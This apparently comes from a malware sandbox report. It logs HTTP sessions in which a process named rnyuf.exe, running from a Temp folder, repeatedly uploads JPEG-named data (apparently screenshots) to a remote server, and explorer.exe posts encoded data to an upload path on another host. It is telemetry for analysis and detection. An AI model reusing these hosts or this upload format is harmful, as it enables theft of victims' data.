39	192.168.2.7	49765	185.215.113.206	80	C:\Users\user\AppData\Local\Temp\bd1299733e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 21, 2021 21:47:02.297313929 CEST	17541	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----5bf2fd1d61def3f3b3c00279b3732db3 Host: 185.215.113.206 Content-Length: 106036 Cache-Control: no-cache
Aug 21, 2021 21:47:02.297542095 CEST	17541	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 35 62 66 32 66 64 31 64 36 31 64 65 66 33 66 33 62 33 63 30 30 32 37 39 62 33 37 33 32 64 62 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------5bf2fd1d61def3f3b3c00279b3732db3Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 21, 2021 21:47:02.297749996 CEST	17551	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 21, 2021 21:47:02.297863960 CEST	17554	OUT	Data Raw: 4e a2 80 1a 68 c5 2e 28 22 80 1b 45 2d 14 ac 31 28 a5 a2 80 12 8a 5a 28 b0 5c 4a 29 68 a2 c0 25 14 e3 49 45 82 e2 52 d0 07 34 ea 04 21 a4 a5 c5 14 c0 4a 29 68 ef 48 04 a2 96 83 4c 00 d1 47 7a 28 01 b5 35 a7 fc 7e db ff 00 d7 55 fe 62 a1 a9 6d bf Data Ascii: Nh.("E-1(Z(\J)h%IER4!J)hHLGz(5~Ubm?Cxz}\|):\|7%<j.<)hG95<i6z_pI+[J\|H`k'7\5uScY)QIK_B~tQE}
Aug 21, 2021 21:47:02.359937906 CEST	17557	OUT	Data Raw: b4 94 b4 94 c0 29 69 29 68 00 a2 8a 39 a0 05 a2 92 8c d0 21 d4 52 0a 5a 00 33 4a 29 0d 1d a9 88 75 00 d3 41 a3 34 c0 7e ea 4c d3 73 4b 45 c5 61 dc 1a 31 9a 6d 2e 68 b8 0b b6 9a 52 9c 0d 3b 34 f4 61 76 88 b6 d2 6d a9 a9 70 0d 1c a1 cc 41 83 45 4c Data Ascii: )i)h9!RZ3J)uA4~LsKEa1m.hR;4avmpAELVe.QR+\P1(@'zu%(!+d)?&Z^-,7c#D>W]?d,fe;9Ueu$v6jf=*tU<o
Aug 21, 2021 21:47:02.360311985 CEST	17562	OUT	Data Raw: 02 96 9a 10 98 a2 96 8e d4 00 c1 4e a2 96 8b 05 c4 a2 9c 06 68 c7 34 00 94 b8 a3 14 e0 29 d8 57 1b 8a 31 4e a2 81 5c 6e 28 c5 3b 14 76 a7 60 b8 dc 51 8a 7e 28 c5 16 0b 8d c5 2e 29 71 4b 8a 2c 17 1b 8a 31 4e a3 14 ec 2b 8d c7 b5 18 a7 62 8a 02 e3 Data Ascii: Nh4)W1N\n(;v`Q~(.)qK,1N+bqF)qHE&=XwP)X.7SF).3bJV&)X.3`SF(\m%)b%bf(:E\mKIV*B)R7Z(/4AqbC@&)QN"c{F(a@ )q
Aug 21, 2021 21:47:02.360554934 CEST	17565	OUT	Data Raw: aa 1a a3 88 96 d6 56 47 64 49 b2 db 10 b9 c1 47 1d 00 27 a9 15 cd 9f 02 68 4a aa fa c5 e4 f7 97 4f d6 6b 9b 92 a5 8f b0 cf f8 d4 53 dc e9 9f 0f d9 d4 5e ea 17 5e 7a 66 1b 06 7d e1 00 ea c0 e3 81 fe 79 ec 96 1e 13 f7 69 c9 b7 e9 ff 00 04 4f 11 38 Data Ascii: VGdIG'hJOkS^^zf}yiO8{"y_X[ Ku.I8j_nZn}4\|ZPoBRJbpKE%()qARQE REQJ(QLKEZJZbQ@((P
Aug 21, 2021 21:47:02.360778093 CEST	17568	OUT	Data Raw: a3 94 39 88 76 50 56 a7 db 49 b6 9f 28 73 10 15 a6 95 ab 05 69 0a 54 f2 8d 48 ac 56 9a 52 ac 95 a6 94 a9 71 2d 4c ad b6 93 6d 58 29 4d 2b 51 ca 52 91 5c ad 34 ad 4e 56 98 52 a5 c4 b5 22 12 29 85 6a 72 b4 d2 2b 37 12 d3 20 2b 4d 22 a7 22 98 45 4b Data Ascii: 9vPVI(siTHVRq-LmX)M+QR\4NVR")jr+7 +M""EKEDE6"EMLa%:CE)AC1@n)UL/uj[RVpb1~n-#x4={GIupGDu'}/MI\?YEdB
Aug 21, 2021 21:47:02.360800982 CEST	17570	OUT	Data Raw: 62 9f 2e e0 40 0c 70 3a 11 cc 58 6b 1a 86 97 04 96 f6 b2 40 d6 f2 30 76 82 e6 da 3b 88 f7 01 80 c1 24 56 50 d8 e3 20 67 1c 55 bb 8f 15 ea b7 1a 9c fa 8a ad ac 57 17 51 aa 5e 0f 2b cd 8a e8 8e 8d 24 52 97 4c 8c 0c 00 a0 0c 70 05 69 2a 73 d9 7f 5e Data Ascii: b.@p:Xk@0v;$VP gUWQ^+$RLpi*s^DFp^fZkC-,w1P9(q\%T%i#zm5u:Py7PGPyy/`5,,Y:UKm9GaH`z]vOy
Aug 21, 2021 21:47:02.361346006 CEST	17573	OUT	Data Raw: 5a 13 a8 9e 4f bd 1e 49 a5 dc 69 77 9a 2c 87 79 0c f2 9a 90 a1 15 2f 99 ed 4e f3 07 a5 16 42 bb 2b 60 fa 52 e3 da ac 6e 53 da 9c 02 1e d4 72 07 39 52 8a b4 63 4e c6 93 c9 53 d0 d1 c8 c6 a6 8a d4 b5 37 d9 e9 3c 86 ed 4b 95 87 32 21 a5 a9 3c 96 14 Data Ascii: ZOIiw,y/NB+`RnSr9RcNS7<K2!<6)M'NF(RRZ( (Z`%RQKRP11Gzv(E-QE0zQGj`-KE uHQJ))EZ)A ("\AJFiiqE~ZRyj\SG*vW?
Aug 21, 2021 21:47:02.361382961 CEST	17574	OUT	Data Raw: 56 b9 4b 76 ed 47 d9 2d cf 4e 2a 7d 8b e8 c7 ed d7 54 64 d1 5a a7 4f 8c f4 6a 8c e9 87 b3 0a 5e c6 61 ed a0 67 62 8c 55 e3 a7 4a 07 1c d3 0d 94 c3 f8 4d 2f 65 25 d0 a5 52 2f a9 54 75 a5 a9 8d bc 8b fc 27 f2 a8 ca 30 ec 69 72 b4 57 32 63 45 2d 1b Data Ascii: VKvG-N}TdZOj^agbUJM/e%R/Tu'0irW2cE-M.+((bSINBa@ipMSDiE%(M(RR"Ci1OCmjmmC\T])r2""&6aG6ir1QV69
Aug 21, 2021 21:47:02.963856936 CEST	17657	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 21 Aug 2021 19:47:02 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.7	49709	187.190.48.60	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 21, 2021 21:45:57.541991949 CEST	1383	OUT	POST /upload/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://atvcampingtrips.com/upload/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 122 Host: atvcampingtrips.com
Aug 21, 2021 21:45:57.542391062 CEST	1383	OUT	Data Raw: 39 6e 23 66 8c b8 1b 23 da ab c7 03 74 05 0f cc 78 79 ce e2 1a 04 e1 64 7c 0b 0f e5 34 c3 c0 18 e8 2e c1 29 72 19 22 1b e7 99 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 09 6b 2c 90 f5 76 0b 75 6e 57 ad a8 Data Ascii: 9n#f#txyd\|4.)r"?*$`7C[zqNA -[k,vunWI{4dS:'8I2
Aug 21, 2021 21:45:58.086580038 CEST	1383	IN	HTTP/1.0 404 Not Found Date: Sat, 21 Aug 2021 19:45:57 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 55 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 00 00 d8 80 d7 bd 9d d9 a1 98 be 23 cd c5 88 81 d0 9e 5c 2d 5e 24 17 a7 60 44 aa af 15 bd cc ba e5 20 98 21 d2 b7 2a 57 14 8b 8f 9c 81 77 d1 38 1c 1f 9a 4c 8f 41 63 Data Ascii: #\-^$`D !*Ww8LAc

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
40	192.168.2.7	49766	185.215.113.206	80	C:\Users\user\AppData\Local\Temp\bd1299733e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 21, 2021 21:47:04.217586994 CEST	17658	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----17fa0a9285508cb7e6ee7580002e3507 Host: 185.215.113.206 Content-Length: 106037 Cache-Control: no-cache
Aug 21, 2021 21:47:04.217850924 CEST	17658	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 31 37 66 61 30 61 39 32 38 35 35 30 38 63 62 37 65 36 65 65 37 35 38 30 30 30 32 65 33 35 30 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------17fa0a9285508cb7e6ee7580002e3507Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 21, 2021 21:47:04.218163013 CEST	17668	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 21, 2021 21:47:04.218422890 CEST	17671	OUT	Data Raw: 4e a2 80 1a 68 c5 2e 28 22 80 1b 45 2d 14 ac 31 28 a5 a2 80 12 8a 5a 28 b0 5c 4a 29 68 a2 c0 25 14 e3 49 45 82 e2 52 d0 07 34 ea 04 21 a4 a5 c5 14 c0 4a 29 68 ef 48 04 a2 96 83 4c 00 d1 47 7a 28 01 b5 35 a7 fc 7e db ff 00 d7 55 fe 62 a1 a9 6d bf Data Ascii: Nh.("E-1(Z(\J)h%IER4!J)hHLGz(5~Ubm?Cxz}\|):\|7%<j.<)hG95<i6z_pI+[J\|H`k'7\5uScY)QIK_B~tQE}
Aug 21, 2021 21:47:04.280344009 CEST	17691	OUT	Data Raw: b4 94 b4 94 c0 29 69 29 68 00 a2 8a 39 a0 05 a2 92 8c d0 21 d4 52 0a 5a 00 33 4a 29 0d 1d a9 88 75 00 d3 41 a3 34 c0 7e ea 4c d3 73 4b 45 c5 61 dc 1a 31 9a 6d 2e 68 b8 0b b6 9a 52 9c 0d 3b 34 f4 61 76 88 b6 d2 6d a9 a9 70 0d 1c a1 cc 41 83 45 4c Data Ascii: )i)h9!RZ3J)uA4~LsKEa1m.hR;4avmpAELVe.QR+\P1(@'zu%(!+d)?&Z^-,7c#D>W]?d,fe;9Ueu$v6jf=*tU<o
Aug 21, 2021 21:47:04.280400038 CEST	17696	OUT	Data Raw: 79 81 4b 45 25 02 3d 0b e0 ef fc 8e d0 7f c0 bf f4 5c 95 f4 05 fe a3 0e 9e 91 99 03 bc 92 b6 d8 e2 8d 72 ce 71 9e 3f 01 d4 e0 0f 5a f9 ff 00 e0 ef fc 8e d0 7f c0 bf f4 5c 95 ef 1a ed 9e 97 71 a7 49 71 ab c7 9b 6b 44 69 99 b7 30 d8 a1 4e e3 f2 f2 Data Ascii: yKE%=\rq?Z\qIqkDi0NF3z+{j(J~ab;-Swk6dBK~c[w214Y#m$y9?3V1k(1[rNX*tCRwx~X3np{:DnHW
Aug 21, 2021 21:47:04.341947079 CEST	17725	OUT	Data Raw: 27 98 4a e8 a8 9c 10 a0 2a 86 62 77 63 a7 71 59 9a 46 a1 65 a7 ea 5f da 37 7a 75 dc f7 49 72 b7 30 3d bd ef 92 55 81 ce 18 ec 6d c3 38 e9 b4 f5 e7 9e 2e b7 8b 2e 2e ad a2 b3 be d3 92 5b 13 1c ab 73 6e 92 6c 0e ef 33 ca b2 47 c1 f2 d9 0c 98 1f 7b Data Ascii: 'JbwcqYFe_7zuIr0=Um8...[snl3G{"]kw)_\;sz}zc8R($;QEsJhKN(!h.E:N5UQM<QM!M<p9iIKTHN)HAp5i
Aug 21, 2021 21:47:04.342499018 CEST	17738	OUT	Data Raw: 6b 75 b7 f5 f2 d7 fe 09 3e c9 da ef b5 ff 00 af 9e 87 01 45 77 3a 2c 96 fa fd e4 2f 7f a7 e9 e8 f6 9e 20 b3 b7 8d e0 b3 8e 15 9a 29 5d 83 44 e8 8a 11 b8 4c e4 82 7a 8e 86 a6 b7 d3 6c 60 f1 ad 9e 80 6d ac ff 00 b3 64 b6 b9 b9 fb 7c b0 2b 8b 82 60 Data Ascii: ku>Ew:,/ )]DLzl`md\|+`P7p%b[VSJ+[j-5VKk{&I]J@&gWf:Vn-\F\|:D-&mxy!Ae.kYYw`"1xYF\m
Aug 21, 2021 21:47:04.342628956 CEST	17746	OUT	Data Raw: b6 78 be fe 28 b1 5f 10 49 ae 5b 69 ba 91 bf 98 4e 25 6b 9d 45 24 07 cc 89 e3 f9 42 c2 9b 76 ee 04 7b 2e 38 ea 39 ba 2a 9d 28 bf c7 f1 dc 95 56 48 dc 9b c4 e6 e2 0b d7 9f 4f dd a8 5f d8 1b 3b bb a5 9b 02 53 e6 23 09 4a 6d fb f8 4c 37 3f 31 39 e0 Data Ascii: x(_I[iN%kE$Bv{.89(VHO_;S#JmL7?197"v,Ip\,LlBOyt<.)i:jR%;L4.]k#Gz7fC#2jdEm7&Z\U%Q@:RRJ(RRZQMZ)(!hQ
Aug 21, 2021 21:47:04.403671980 CEST	17752	OUT	Data Raw: a5 69 5f d1 4b 34 84 f2 47 de 03 b5 70 38 1e 94 60 7a 51 ec 57 f5 e5 6f f2 fc 58 3a b7 56 f9 1d 69 9f 45 b1 d1 da ce db 5c b3 79 e4 d4 21 9a ca f6 1b 07 4b 9b 34 1b cb 34 af e5 86 ce 4c 7c 23 be 0a 9c 7b d2 f1 4d e6 9f 78 d6 0f 05 c5 9d de a5 e5 Data Ascii: i_K4Gp8`zQWoX:ViE\y!K44L\|#{Mxha\|k\|g#JJI'{VJbE\|tG7:}jLe$6C0=o-HNX5\:T]S[ 29<5-dWAuB@H<
Aug 21, 2021 21:47:04.403738022 CEST	17763	OUT	Data Raw: cd 2e 69 88 af 45 25 5c d3 f4 bd 47 57 9d a0 d3 34 fb bb d9 95 77 b4 76 d0 b4 8c 17 a6 48 50 78 e4 56 46 c4 9a 3e b5 a8 68 1a 9c 7a 86 99 72 d0 5c 47 dc 74 61 dd 48 ee 0f a1 ae f7 c6 ff 00 11 2c fc 67 e0 2b 4b 67 8c db ea b0 df 23 cd 08 04 ab 28 Data Ascii: .iE%\GW4wvHPxVF>hzr\GtaH,g+Kg#(@]OH3yGV3p1}U#kd?uxUVFuqN+E[Il,.Q-!-F\)8B!MJzJqONDFkTibB(,@
Aug 21, 2021 21:47:04.561938047 CEST	17764	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 21 Aug 2021 19:47:04 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
41	192.168.2.7	49767	185.215.113.206	80	C:\Users\user\AppData\Local\Temp\bd1299733e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 21, 2021 21:47:05.496287107 CEST	17765	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----17fa0a9285508cb7e6ee7580002e3507 Host: 185.215.113.206 Content-Length: 106037 Cache-Control: no-cache
Aug 21, 2021 21:47:05.496428013 CEST	17765	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 31 37 66 61 30 61 39 32 38 35 35 30 38 63 62 37 65 36 65 65 37 35 38 30 30 30 32 65 33 35 30 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------17fa0a9285508cb7e6ee7580002e3507Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 21, 2021 21:47:05.496675968 CEST	17775	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 21, 2021 21:47:05.496853113 CEST	17778	OUT	Data Raw: 4e a2 80 1a 68 c5 2e 28 22 80 1b 45 2d 14 ac 31 28 a5 a2 80 12 8a 5a 28 b0 5c 4a 29 68 a2 c0 25 14 e3 49 45 82 e2 52 d0 07 34 ea 04 21 a4 a5 c5 14 c0 4a 29 68 ef 48 04 a2 96 83 4c 00 d1 47 7a 28 01 b5 35 a7 fc 7e db ff 00 d7 55 fe 62 a1 a9 6d bf Data Ascii: Nh.("E-1(Z(\J)h%IER4!J)hHLGz(5~Ubm?Cxz}\|):\|7%<j.<)hG95<i6z_pI+[J\|H`k'7\5uScY)QIK_B~tQE}
Aug 21, 2021 21:47:05.555087090 CEST	17784	OUT	Data Raw: b4 94 b4 94 c0 29 69 29 68 00 a2 8a 39 a0 05 a2 92 8c d0 21 d4 52 0a 5a 00 33 4a 29 0d 1d a9 88 75 00 d3 41 a3 34 c0 7e ea 4c d3 73 4b 45 c5 61 dc 1a 31 9a 6d 2e 68 b8 0b b6 9a 52 9c 0d 3b 34 f4 61 76 88 b6 d2 6d a9 a9 70 0d 1c a1 cc 41 83 45 4c Data Ascii: )i)h9!RZ3J)uA4~LsKEa1m.hR;4avmpAELVe.QR+\P1(@'zu%(!+d)?&Z^-,7c#D>W]?d,fe;9Ueu$v6jf=*tU<o
Aug 21, 2021 21:47:05.555197001 CEST	17786	OUT	Data Raw: 31 45 2d 18 a6 21 28 a5 c5 00 51 60 b8 94 98 a7 62 8a 02 e2 51 4b 49 de 81 90 8a ee 6c f5 5b 06 f0 fe 89 a6 c7 25 94 1a 9b 69 97 71 45 a8 bc f8 6b 67 69 a5 3e 5b 82 db 14 3a 12 b9 2a 08 de 0e 40 ae 26 93 62 93 d2 b0 a9 4f 9e 3c bf d6 cd 7e a6 d0 Data Ascii: 1E-!(Q`bQKIl[%iqEkgi>[:*@&bO<~z@kKX-]m<E-K%/A3\| ji_Qh0J{9m(o2yyKPtMZVF(PmX2F0 #lmI\\
Aug 21, 2021 21:47:05.555480957 CEST	17789	OUT	Data Raw: aa 1a a3 88 96 d6 56 47 64 49 b2 db 10 b9 c1 47 1d 00 27 a9 15 cd 9f 02 68 4a aa fa c5 e4 f7 97 4f d6 6b 9b 92 a5 8f b0 cf f8 d4 53 dc e9 9f 0f d9 d4 5e ea 17 5e 7a 66 1b 06 7d e1 00 ea c0 e3 81 fe 79 ec 96 1e 13 f7 69 c9 b7 e9 ff 00 04 4f 11 38 Data Ascii: VGdIG'hJOkS^^zf}yiO8{"y_X[ Ku.I8j_nZn}4\|ZPoBRJbpKE%()qARQE REQJ(QLKEZJZbQ@((P
Aug 21, 2021 21:47:05.555644989 CEST	17792	OUT	Data Raw: a3 94 39 88 76 50 56 a7 db 49 b6 9f 28 73 10 15 a6 95 ab 05 69 0a 54 f2 8d 48 ac 56 9a 52 ac 95 a6 94 a9 71 2d 4c ad b6 93 6d 58 29 4d 2b 51 ca 52 91 5c ad 34 ad 4e 56 98 52 a5 c4 b5 22 12 29 85 6a 72 b4 d2 2b 37 12 d3 20 2b 4d 22 a7 22 98 45 4b Data Ascii: 9vPVI(siTHVRq-LmX)M+QR\4NVR")jr+7 +M""EKEDE6"EMLa%:CE)AC1@n)UL/uj[RVpb1~n-#x4={GIupGDu'}/MI\?YEdB
Aug 21, 2021 21:47:05.555969954 CEST	17795	OUT	Data Raw: 62 9f 2e e0 40 0c 70 3a 11 cc 58 6b 1a 86 97 04 96 f6 b2 40 d6 f2 30 76 82 e6 da 3b 88 f7 01 80 c1 24 56 50 d8 e3 20 67 1c 55 bb 8f 15 ea b7 1a 9c fa 8a ad ac 57 17 51 aa 5e 0f 2b cd 8a e8 8e 8d 24 52 97 4c 8c 0c 00 a0 0c 70 05 69 2a 73 d9 7f 5e Data Ascii: b.@p:Xk@0v;$VP gUWQ^+$RLpi*s^DFp^fZkC-,w1P9(q\%T%i#zm5u:Py7PGPyy/`5,,Y:UKm9GaH`z]vOy
Aug 21, 2021 21:47:05.556214094 CEST	17797	OUT	Data Raw: 5a 13 a8 9e 4f bd 1e 49 a5 dc 69 77 9a 2c 87 79 0c f2 9a 90 a1 15 2f 99 ed 4e f3 07 a5 16 42 bb 2b 60 fa 52 e3 da ac 6e 53 da 9c 02 1e d4 72 07 39 52 8a b4 63 4e c6 93 c9 53 d0 d1 c8 c6 a6 8a d4 b5 37 d9 e9 3c 86 ed 4b 95 87 32 21 a5 a9 3c 96 14 Data Ascii: ZOIiw,y/NB+`RnSr9RcNS7<K2!<6)M'NF(RRZ( (Z`%RQKRP11Gzv(E-QE0zQGj`-KE uHQJ))EZ)A ("\AJFiiqE~ZRyj\SG*vW?
Aug 21, 2021 21:47:05.556493998 CEST	17799	OUT	Data Raw: 56 b9 4b 76 ed 47 d9 2d cf 4e 2a 7d 8b e8 c7 ed d7 54 64 d1 5a a7 4f 8c f4 6a 8c e9 87 b3 0a 5e c6 61 ed a0 67 62 8c 55 e3 a7 4a 07 1c d3 0d 94 c3 f8 4d 2f 65 25 d0 a5 52 2f a9 54 75 a5 a9 8d bc 8b fc 27 f2 a8 ca 30 ec 69 72 b4 57 32 63 45 2d 1b Data Ascii: VKvG-N}TdZOj^agbUJM/e%R/Tu'0irW2cE-M.+((bSINBa@ipMSDiE%(M(RR"Ci1OCmjmmC\T])r2""&6aG6ir1QV69
Aug 21, 2021 21:47:05.775475979 CEST	17873	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 21 Aug 2021 19:47:05 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
42	192.168.2.7	49768	185.215.113.206	80	C:\Users\user\AppData\Local\Temp\bd1299733e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 21, 2021 21:47:06.835726023 CEST	17874	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----17fa0a9285508cb7e6ee7580002e3507 Host: 185.215.113.206 Content-Length: 106037 Cache-Control: no-cache
Aug 21, 2021 21:47:06.836076021 CEST	17874	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 31 37 66 61 30 61 39 32 38 35 35 30 38 63 62 37 65 36 65 65 37 35 38 30 30 30 32 65 33 35 30 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------17fa0a9285508cb7e6ee7580002e3507Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 21, 2021 21:47:06.836309910 CEST	17884	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 21, 2021 21:47:06.836497068 CEST	17887	OUT	Data Raw: 4e a2 80 1a 68 c5 2e 28 22 80 1b 45 2d 14 ac 31 28 a5 a2 80 12 8a 5a 28 b0 5c 4a 29 68 a2 c0 25 14 e3 49 45 82 e2 52 d0 07 34 ea 04 21 a4 a5 c5 14 c0 4a 29 68 ef 48 04 a2 96 83 4c 00 d1 47 7a 28 01 b5 35 a7 fc 7e db ff 00 d7 55 fe 62 a1 a9 6d bf Data Ascii: Nh.("E-1(Z(\J)h%IER4!J)hHLGz(5~Ubm?Cxz}\|):\|7%<j.<)hG95<i6z_pI+[J\|H`k'7\5uScY)QIK_B~tQE}
Aug 21, 2021 21:47:06.895328999 CEST	17892	OUT	Data Raw: b4 94 b4 94 c0 29 69 29 68 00 a2 8a 39 a0 05 a2 92 8c d0 21 d4 52 0a 5a 00 33 4a 29 0d 1d a9 88 75 00 d3 41 a3 34 c0 7e ea 4c d3 73 4b 45 c5 61 dc 1a 31 9a 6d 2e 68 b8 0b b6 9a 52 9c 0d 3b 34 f4 61 76 88 b6 d2 6d a9 a9 70 0d 1c a1 cc 41 83 45 4c Data Ascii: )i)h9!RZ3J)uA4~LsKEa1m.hR;4avmpAELVe.QR+\P1(@'zu%(!+d)?&Z^-,7c#D>W]?d,fe;9Ueu$v6jf=*tU<o
Aug 21, 2021 21:47:06.895376921 CEST	17897	OUT	Data Raw: 31 45 2d 18 a6 21 28 a5 c5 00 51 60 b8 94 98 a7 62 8a 02 e2 51 4b 49 de 81 90 8a ee 6c f5 5b 06 f0 fe 89 a6 c7 25 94 1a 9b 69 97 71 45 a8 bc f8 6b 67 69 a5 3e 5b 82 db 14 3a 12 b9 2a 08 de 0e 40 ae 26 93 62 93 d2 b0 a9 4f 9e 3c bf d6 cd 7e a6 d0 Data Ascii: 1E-!(Q`bQKIl[%iqEkgi>[:*@&bO<~z@kKX-]m<E-K%/A3\| ji_Qh0J{9m(o2yyKPtMZVF(PmX2F0 #lmI\\
Aug 21, 2021 21:47:06.897242069 CEST	17903	OUT	Data Raw: a3 94 39 88 76 50 56 a7 db 49 b6 9f 28 73 10 15 a6 95 ab 05 69 0a 54 f2 8d 48 ac 56 9a 52 ac 95 a6 94 a9 71 2d 4c ad b6 93 6d 58 29 4d 2b 51 ca 52 91 5c ad 34 ad 4e 56 98 52 a5 c4 b5 22 12 29 85 6a 72 b4 d2 2b 37 12 d3 20 2b 4d 22 a7 22 98 45 4b Data Ascii: 9vPVI(siTHVRq-LmX)M+QR\4NVR")jr+7 +M""EKEDE6"EMLa%:CE)AC1@n)UL/uj[RVpb1~n-#x4={GIupGDu'}/MI\?YEdB
Aug 21, 2021 21:47:06.897716999 CEST	17910	OUT	Data Raw: 5a 13 a8 9e 4f bd 1e 49 a5 dc 69 77 9a 2c 87 79 0c f2 9a 90 a1 15 2f 99 ed 4e f3 07 a5 16 42 bb 2b 60 fa 52 e3 da ac 6e 53 da 9c 02 1e d4 72 07 39 52 8a b4 63 4e c6 93 c9 53 d0 d1 c8 c6 a6 8a d4 b5 37 d9 e9 3c 86 ed 4b 95 87 32 21 a5 a9 3c 96 14 Data Ascii: ZOIiw,y/NB+`RnSr9RcNS7<K2!<6)M'NF(RRZ( (Z`%RQKRP11Gzv(E-QE0zQGj`-KE uHQJ))EZ)A ("\AJFiiqE~ZRyj\SG*vW?
Aug 21, 2021 21:47:06.897743940 CEST	17912	OUT	Data Raw: 53 c7 5a 02 53 b6 d5 24 4d c0 53 c5 34 0a 78 15 44 30 c5 3b 6d 25 28 a0 90 d9 46 ca 90 53 85 3b 13 cc ca e6 3a 4f 2e ad 62 97 66 68 b0 73 94 fc ba 4f 2e ae f9 74 9e 57 b5 2e 51 fb 42 97 97 46 ca b6 62 f6 a6 98 fd a8 e5 2b da 15 0a 51 b6 ad 18 e9 Data Ascii: SZS$MS4xD0;m%(FS;:O.bfhsO.tW.QBFb+QR9Wm.m!J,>r60)RR.)q@bQa\L})5?)C!6{bQ)qKhmtaqRC@GE>P,RV)>hsTgqG?1s!?J
